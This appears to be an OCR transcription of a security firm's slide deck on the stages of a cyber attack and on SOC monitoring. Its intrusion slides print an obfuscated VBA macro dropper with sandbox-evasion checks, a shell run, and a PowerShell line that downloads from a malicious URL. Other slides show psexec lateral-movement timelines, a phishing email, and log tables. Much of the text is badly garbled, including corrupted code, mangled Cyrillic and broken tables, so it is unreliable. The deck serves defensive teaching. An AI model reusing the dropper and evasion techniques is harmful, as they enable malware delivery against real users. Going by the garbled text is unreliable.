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ISSP - Information Systems Security Partners -

Is a Group of Companies, specialized in cybersecurity, managed
security services, state of the art professional training, and
cutting edge research in the area of information systems security.
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Technological Processes
Change Management

System Administration

Data Acquisition & Processing
Data Delivery and Visualization
Operational Processes
Daily Operations

Incident Management

Case Management

Incident Forensic and Reporting
Analytical Processes
Operational / Incident / Context
Hidden Incident Detection
Information and Knowledge
Internal Exchange

External Exchange
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ThreatSCALE™

Sequence of Cyber Attack Lifecycle Events

Anatomy of Cyber Attack
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® 101100 Y S
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1 Reconnaissance 2 Equipping 3 Intrusion 4 Exploring 5 Cyber Mimicry 6 Sleeper Agent 7 ActiononTarget 8 Clean Up
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if (a == 123) eval(b);
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INTRUSION
i Droppers: nested dolls

wvargueno = ".\" 4+ LCase("r")
'vargueno =".\r" 4:

asquint = habitagion soar = "damselfly”
albuterol = Mid("hamamelidaceseWinmimosaceas", 15, 3] + Leftc(M32 Processundergass"= 101 'albucerol = "WiniZ Process"
ELoe habitation = soar
soar = "palisade 3TOT KYCOK, KOO QACT HAM TAKON pesynbTaT
depilation = "cafob" Elze
allezvousen = "uf" + Left ("beoverambitious"”, 2)
'‘allezvousen = "prbe"
diaphone = "curige"
End If

anunnaki = Log (8

If anunnaki <> 9§ Then

granulate = VArgueno & "oo" 4+ Mid("alexth\cimvZcramwp"”, 5, 7
'granulate=".\root}cimva"

interpretation = interpretation / 491
interpretation = interpretation + 220

Else

habitation = soar
betise = Mid("cunctacag"”, 7, 2) + Right ("parbon", 4) + Right ("easierado”, 3)

'betise = "carbonado"
excommunication = "inglese"
End If

silverback = Log(39)

If silverback <> 83 Then

Set millionaire = GetObject (psilopsida + granulate)
'millionaire =

soar = "damselfly"”

albuterol = Mid{"hamamelidaceaeWinmimosaceae", 15, 3) + Left("32 Processunderpass”, 10} 'albuterol = "Win3Z Process"”

habitation = soar

p1se ™~ These B ces of code will eventually
habitation = soar]

ISSP Information Systems Security Partners




INTRUSION :
i Dropper functional schema

Public Punction KZHK{ByVal pORE As integer, Byval GVVa) As integer) As
toger

K20 = pOgE Mod GVl
g Funcron

Pubic Punction XKTMN(By vl pIQP As String, SVl SOWQ A8 Intege, ByVal SGIT A3 intege) As Sting
P « KZHX(SBIWQ, LenipaQp))

Public Sub ngEF()
On Error GoTo qTiU

If Application.UserName = "PSPUBWS " Then Modulel.eXZfx s("Bad username”)
If Application.RecentFiles.Count <3 Then Modulel.eXZfx s("Bad history")
Cjep = ELLSx

For Each LYyR In Sspyg

If Module1.zFnKx(Cjep, LYyR) <> 0 Then Modulel.eXZfx s("Bad ISP", 26, 40)
Next

cDsj dCjgc

PP KZNX(jApSK + gGIT), Lan(pacs))
«

o0p
tog Puncron

Putic 568 cOn(By Val i As Strag)
Sut BN = IMQI"WScrigt. Shel)
KT DM} Rum(im, Of

tra s

Malicious URL

Pubic Puncrion KRBy VAl OXSF AS
varaar)
o = oSk

Exit Sub
qTiU:
End Sub

£nd Puncron Pubic Punction Aweks () As String
\ Ak =

“$a{Sysem 10 Pach| GacT emps deriame() {New

object

System et webChent). CowrdoadF be( WTp //eltarocon
sultants.com/satary/content by, $1)(New-Object <om

HTTP Requset, with

wicrit sh Exacts)”
detecting public IP of

£na Puncron

the target

| | pubic runcrion wxa() as streg
A+ “power bk axa Execubonhokcy ByPa: Windowstve redden <ammand ©

Pubic Function ELLSK() As Strng.
26t VeFU « KMQ[" WinNTtp. WinsetpRequest. . 1)
KER: VeFLs Open("GET *, "hitps:/ wtfismyp.com/jsont), Faise)

KER Veris Setbaquestrasder(-sar-Agent-, “Moslia/5.0 (compatible, MSIE 10.0, Windows NT 8.1, WOWSH, Trident/6.0f")
KER Veru sens
11 VesL) Stans © 200 Then

Pubic Sub eXItxiByVal KAeW: As String)
€. Rate Numbers2, Descrigton sASW:
endsen

£ Raise Number =4, Descrgton ="Can conect o APT"

£ns Punceon | \
ISP Detection
.[ e rncien il s sreg
utsc Sobmats( \"4 Pubic Function Sspygl) As varart L
©On tror GaTo qT Sipyg = Aray("Amazen’ “Asonymous”,"Bitdefender”, " Dlue Cost”,"Cisco "‘ Pencton

e ovame T o s st g b el e e
oo p e ’ Spol”*Flratye" "Sorcepoint” " Fortimet”,“Hetzner” ,"Hasted", " e “Les
nmmn«m«muvmwumwmw e ostng”
o E ot e o

i e . o oo e S Yceogt red
s o,y .o Mo, e o 57,28 .a. s et et et

- e reton

o

—a

-
trase [ spuws - defolt user in Hybird Senbox

many files was opened by user in the past. If less then three, obviously itis a SandBox

[Glwhatis the ISP, if itis one of the list, this is SandBox
T
Documens Cose)
nacs
ez
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Bl INTRUSION 5 ber: HANKITOR

Project - Project x|

x
I= | Lk x|
,ﬁ Normal Tabs | Tab2 ¢

=& Project (123)
B Microsoft Word Objects

=15 Forms

- -[EE nectarine

=5 Modules

P -8 procellariformes
B[] References
#-&% TemplateProject (EEFON

Information Systems ISSP Information Systems Security Partners
Security Partners



CoseTumuya » buzHec, OUHaHCL! » BaHK

pyxn_Kprorm

3TO passoj UM MHE npucnanu Bupyc???

MpULLNO Ha NOYTY:

OT Koro:

boraaH 3aiuyk
BUCOKOLIGHOBHMI NaHe/naHI!

HOpuanurmiA igain BTB BaxK crosiwgye Bac npo Te, wo Ha Baw nacnopt
18.09.2015 poky, 23 AONOMOTOK HALWOI CEPBICY OHNaMH DaHKiHMy, Byno BzAT0
TEPMIHOBMIA KDEAWT Ha CyMy 37 605,00 rpuseHb.

Ha 23Ty HaACMNEHHS LBOTO NUCTE HANEXHY CyMy 33 KDSAUTOM HE NOraleHo.
CTaHOM Ha AaHWiA MOMEHT PoKy Baw Bopr 3 ypaxysaHHaM wipady (0,7% za
KOXHY 00y NPOCTPOYEHHS ONNaTh) CTanosuTs 37 000,59 rpH.

Y 38'R2KY 3 UMM, Ha NiACTasi Aorosopy, kepisHuuTeoM 6arky Oyno npuiHATO
PILISHHRA NPO CKNagaHHA Noz08y A0 CyAy Ha Bawe iM'A.

TPOMOHYEMO OZHAMOMUTCE 3 BIANOBIAHUMM OKYMEHTIMM.
33NALLBEMOCE 3 NOLWSHOM,

KOpUCKOHCYNLT

boraaH 3aiuyx

W npukpenneH daitn axobul 8 dopmate JOK.

Mbi Col € 3TMM B3HKOM HUK3KUX fen He MMena. Mii Mbl Cbl - Ha YKa33HHYI0 AaTy
mens He Buino B CTpaHe, NacnopT He Tepana.

14 wons 2016 & 13:58

el e
Security Partners

Mywsmcrbin

pyku_Kptoru (zeTop)

10 14 wons 2016 8 14:08

BMPYC. HALLM ANTULHWAKW HAC NPEAYNPEAUAM, UTO 3TO BUpYC!
100%

11 14 wons 2016 & 14:10  Oreer ana Mywwcrsiid MNensMens

LiuTaTta:

SUPYC. HAULM QDALY HAC npedynpeduty, wmo smo supye! 100%

| CMACHBO, yaanina Nucsmo I\

HO B/IOYEHWE YiKe OTKpblNa...

Bonpoc 3akpbIT
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Take away #1

Assume compromise..



ThreatSCALE™

Sequence of Cyber Attack Lifecycle Events

Anatomy of Cyber Attack
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CAPTURE : .
0 14 minutes to install

v

l -
admdide.sys "
x Tin sanyoca
: bt amdide.sys -
“amdide” oin sapaxenme
o=
“demand | 50084size
sart' va |1
‘suto start”, || 22.10.2015 16:43:03 B AT I

v

-— il
». adpu320.sys RDP - exon
adpu320.sys 0x19eda712f

Thn sanyoxa
enyxbol o EventiD:

RDP -x0a ’ . -
0x125814232 .
“adpu320.sys” e 4624
“ Soan ummeren ¢ || BT 5006450 G Admn_A

“demand start”
8 “auto start”, | 22.10,2015 16:35:49

22.10.2015 16:31:24
Ca— i 211'61:‘;'9?4115 22.10.2015 16:42:54
\L A\ 4 1’
DC-001 i -
v v v v &
DC-002 -
g .
VN N A A
) 4 ) 4 v
193.169.86.78 4
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PC-01 A A N
A
PC-02 A N N
. . N
A
pC-03
e &— oy ——— —® e
Bpema 18 Bpema 13 Bpema 14 Bpems 20
psexesvc psexesvc psexesvc psexesvc
15.10.2015 11:31:05 15.10.2015 12:39:26 15.10.2015 13:09:17 e
15.10.2015 13:32:30
Iy A A A
P “S— @
Bpems 12 Bpems 23 _ Bpema 19 Bpers 24
psexesvc psexesvc | psexesvc psexesvc
15.10.2015 11:23:09 15.10.2015 11:46:58 15.10.2015 12:52:20 =
= 15.10.2015 13:21:57
N N A
- A
PRIV-USER \I/
v P4 v
L —
e o
Bpems 1 Spcin2 Bpens 3 ———®
Bpems 7 Bpema 4
| psexesvc poeaesc psexesvc psexesvc
15.10.2015 11:13:31 15.10.2015 12:25:06 ST —— psexesvc
i g i 15.10.2015 17:52:08 16.10.2015 11:00:35
v A 4 ) 4 ) 4 N
PC-04 \
Bpema 5 Bpems 6
psexesvc psexesvc
15.10.2015 12:42:29 15.10.2015 13:18:33
v A4 v "
A
PC-05
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O CAPTURE Sleeper agents deployment

CobermndBBIE] Microzoft Windows security sudting. x

Obume Mospotmoctu|
BamOANEHE NONRITIE BXOA1 B CHCTORIY € S YERAMAOM V4 ETHIIE SEnbc.
> A Cybresn
W Sescnachocmn: TORIA B AaonB_A
Wina yuernod sanwci A,
Apsen yuernoil sanucie DCMan
Koa acp: 0125814230
GUID sxoax: {040¢f6.ad-11d5-Oebd-5c42-Bc2e58301 cbe)
Bt HCNONBIOE b1 (e THEE AasiHbie C AL
1= Wium yuernon senmcw
Aosien yuernoi 3anicie
GUID swoae
= e Uenesoi coprep:
TE——— ] Vi uenesoro cepeeps:
= G159 g I - Peise” - AonommuTensisie caegerma:
5 - - - B» Ceegermn 0 npouecce:
& Ky e il ,& Waenmudmratop npouecce 0
= Vi npouec Wedoms Systersz schiatksond
- - - 15
D= D J PC113 Coegernr o cene
pC3s f- oC- £
ﬂ 7 = b= {lanroe coburmne w feitsercn BX0R € PHETHOM 18NICRI0, AEHO
PC36 53
8 yeasos ceyucrmie rae. 10 ofairc " oy
P10 Gen B = = - roi ™™, ; 3404, W RUNAS,
pcaz PO - e
2 .
PC136 st
mpR =
=
=g Microsoft Windows security Jara: 32302015 BAe0]
i Kareropus 2agaum  Baog & cncTenty
© Googelpdsr... Ready AL 1:20 PM every day - Alter triggered, repest every | hour for & durstion of 1 day. Common NGB CORN. AT Yorked
Owiipdste  Ready A system strtup HiA KomnaoTep:
Caeaeria
' Eet:copaonisanan.

When you create a task, y Ay ction that will 1k To change
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Cyber Mimicry
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Take away #2

The lines between Insiders
and Outsiders are blurred.

Everyone Is an Insider...
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Extensive monitoring
External context & Internal context
Baselining and Profiling

Every incident
should be escalated and closed
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External context
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ISuccess
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ISuccess
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172202110 /Success fL10101010
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E FEFLIL)

ISuccess!92.168.20.191 | 55204 TOR

|

1.23411.142

ISuccess!92.168.20.191 | 55206

| Rendered in1 5, Nodes:3, Edges:2 | Layout: Hierarchic Layout

Source: Attacker Address Event: Category Outcome Target: Target Address, Target Port, Events spit on target
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Internal context: anomalies detection: services profiling 1/2

A
PC-01 A A A
A
pPC02 N A A
4
pPC-03 N
9
L3 A e
Bpewn 18 Bpews 13 Bpeie 1% Bpews 20
psexesvc { psexesvc PSeXesVo | psexesvc
15.10.2015 11:31:05 15.10.2015 12:39:26 15.10.2015 13:00:17 —
15.10.2015 13:32:30
e - -
Iy Iy A A
P S— L MR S
P
Bpema 12 _ Bpems 23 Bpema 19 Bpems 24
it ) ) Sexesvc
| psexesvc | P psexesvc psexesvc
15.10.2015 11:23:00 15.10.2015 11:46:58 15.10.2015 12:52:20 . =
15.10.2015 13:21:57
A
A A A
B . . N
PRIV-USER ‘I/
v v
. A P
Bpews 1 Boerei2 Bpewn 3 i
- Bpems 7 Bpens 4
h psexesvc =
‘ psexesvc psexesvc ) | psexesvc
1 10.2015 11:13:31 13201312200 15.10.2015 12:47:17 | P ;
o o R T o 15.10.2015 17:52:08 16.10.2015 11:00:35
Y 4 ) 4 Jl N
PC-04 v v
P S
Bpes 5 Bpewsi 6
psexesvc | psexesvc
15.10.2015 12:42:29 15.10.2015 13:18:33
v ) 4 v N
4
PC05
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2/2

ing

services profili

ion

anomalies detect

Internal context

tecaccount |0 |12 |3(4[5|6|7[8|9|10/11)12|13]14|15|16(17|18|19/20(21|22|23

Hours
0|1(2|3|4|5|6|7|8)|9(10/11(12|13|14|15|16|17|18|19|20|21|22|23

tec_account

01.092016| 4 |4 |4 4|4 (44444444444 [4]4|4|4]4)4|4]4

02.09.2016( 4 |4 | 4|44 |4 |4 |4|4|4]|4|4[4|4]|4]|4]|8]|4|4|4]4]4]4|4

03.09.2016( 4 |4 |4 |44 [4 |4 |4|4|4]|4]|4([4|4|4]4]|4]|4|4|4]4]4]4|4

04.09.2016( 4 |4 |4 |44 |4 |7 44|44 |4([4|4|4]4]4]|4|4|4]4]4]4|4

05.092016( 4 |4 |4 |44 |4 |4 |4|4|4]|4]|4[4|4|4]|4]|4]|4|4|4]4]4]4|4

06.092016( 4 |4 |4 | 4|4 |4 |4 |4|4|4|4|4(4|4|4]|4]|4]|4|4|4])4]4]4|4

07.092016| 4 |4 |4 4|4 (44444444444 [4]4|4|4]4|4|4]4

08.09.2016| 4 |4 |4 4|4 (4444|444 |4[4|4|4[4]4|4|4]4)4|4]4

09.09.2016( 4 |4 |4 |4 |4 |4 |4 |4|4|4|4]|4(4|4|4]|7]|8]|4(4|4]4]8]4|4

10.09.2016| 4 |4 |4 | 4[4 |4 |4 [4[|4]|4|4|4]|4]|4]|4]|4|4|4]|4]4]4]4|4]|4

11.09.2016| 4 |4 |8 | 4[4 |4 |8 |44 |4 |4|4]|4]|4]|4|4|4|4]|4]4]|4]4|4]|4

12.09.2016| 4 |4 |4 | 4[4 |4 |4[4]|4]|4|4|4]|4]|4]|4]|4|4|4]|4]|4]4]4|4]|4

13.09.2016| 4 |4 |4 |4 (4|4 |4|4]|4]|4|4|4]|4]|4]|4|4|4|4]|4]|4]|4]4|4]|4

14.09.2016( 4 (4|4 |4 (4|4 |4 (4444444444 ]4]4]4(4]4]4)4

15.09.2016( 4 |4 |4 | 4[7 |4 |4 (44|48 |4]|4|8|4[|4)|8|4[4|4(4]4]4)4

16.09.2016)| 4 |4 |4 | 4[4 |4 |4 (4|44 |4|4])4|4]|4]|4|4|4|4]|4]|4]4|4|4

17.09.2016| 4 |4 |4 | 4[4 |4 |4 ][44 |4|4]|4]|4]|4|4|4|4]|4]4]|4]4]|4]|4

18.09.2016| 4 |4 |4 | 4[4 |4 |4 [4[|4]|4|4|4]|4]|4]|4|4|4|4]|4]4]|4]4|4]|4

19.09.2016| 4 |4 |4 | 4[4 |4 |4 |44 ]|4|4|4]|4]|4]|4|4|4|4]|4]|4]4]4|4]|4

20.092016( 4 |4 |4 | 4|4 |4 |4 |4)|4|4|4|4(4|4]|9]4|4]|4|4|4])4]4]4]|4

21.092016| 4 |4 |4 4|4 (44444444444 [4]4|4|4]4)4|4]4

22.092016| 4 |4 |4 4|4 (44444444444 [4]4|4|4]4)4|4]4

23.09.2016( 4 |4 |4 |44 |4 |4 44|44 ]|4(4|4|4]|4]|8]|4(4|4])4]8]4|4

24.09.2016( 4 |4 | 4|44 [4 |4 |4|4|4]|4]|4([4|4|4]4]|4]|4|4|4]4]4]4|4

25.09.2016( 4 |4 |4 |44 (4|4 |4|4|4]|4]|4[4|4|4]4]|4]|4|4|4]4]4]4|4

26.09.2016( 4 |4 |4 |44 |4 |4 |4|4|4]|4|4[4|4|4]|4]|4]|4|4|4]4]4]4|4

27.092016( 4 |4 | 4| 4|4 |4 |4 |4|4|4|4|4(4|4|4]|4]|4]|4|4|4])4]4]4|4

28.09.2016| 4 |4 |4 4|4 (44444444444 [4]4|4|4]4)4|4]4

20.092016[ 4 |alalalalalalalalalalalalalalalalalalalalala]a
(30092016 4| a[4a[a[a]alalalala]alalalalalalala]a]ala]a]a]a
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Internal context: anomalies detection: network profiling

3/28 10:30:24 Teardown TCP connection [Access/Stop [Success

3/28 10:30:24 Built outbound TCP connection [Access [Success

3/28 10030024 Packet permitted by Access List /Communicate [Success

328 10:30:23 Teardown local-host Modify /Content fSuccess

3/28 10:30:23 Teardown TCP connection fAccess/Stop [Success

3/28 10:30:23 Built outbound TCP connection fAccess [Success

328 10:30:23 Packet permitted by Access List /Communicate fSuccess

328 10:30:23 Built local-host Modify/Content [Success

3/28 9:51:26 Teardown TCP connection [Access/Stop [Success l

328 9:51:26 Teardown local-host Modify /Content [Success

3/28 9:51:03 Built outbound TCP connection fAccess [Success

3/28 9:51:03 Built local-host Modify ft

3/28 9:51:03 Packet permitted by Access List fCommur O—"I:
Sucosss

P e s el (=] :._-L L

"-sh.—cass

.‘.\”H- - i 1 D ol ) Il PE D | : E
A ]
YSucoess :
Information Systems -qi ) _,,T_
Security Partners
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Peer to peer dynamic profiling 1/2
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Peer to peer dynamic profiling
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ThreatSCALE™

Sequence of Cyber Attack Lifecycle Events

Anatomy of Cyber Attack

I INTRUSION I CAPTURE @ CULMINATION

@

6 Sleeper Agent 7 !ction on |arget J Clean Up E

Lalol ol obaladolel 8 ,) Lalalelodledoleba0ale) Lalaladlaloelalalalalal Lalalalalalal,0e0e0a) Lalolalalalaled 8 0,0 Lalaledlalelalalalsled Lalalalololabatalaled Lalalalalaelal 000,10
1] 100% o0 WX o0 1w o 1w ¢ 100% o0 1008 o0 WX o 1008

1 Reconnaissance 2 Equipping 3 Intrusion 5 Cyber Mimicry
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And one more thing here....
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[Failure
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New!! Deliverables to infrastructure visibility

Asset maps:
Devices

Applications

User accounts

System accounts
Network segmentation

Dynamic asset profiling
Peers

User accounts

System accounts
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Bottlenecks and
misconfigurations

Uptime
Utilizing network routes
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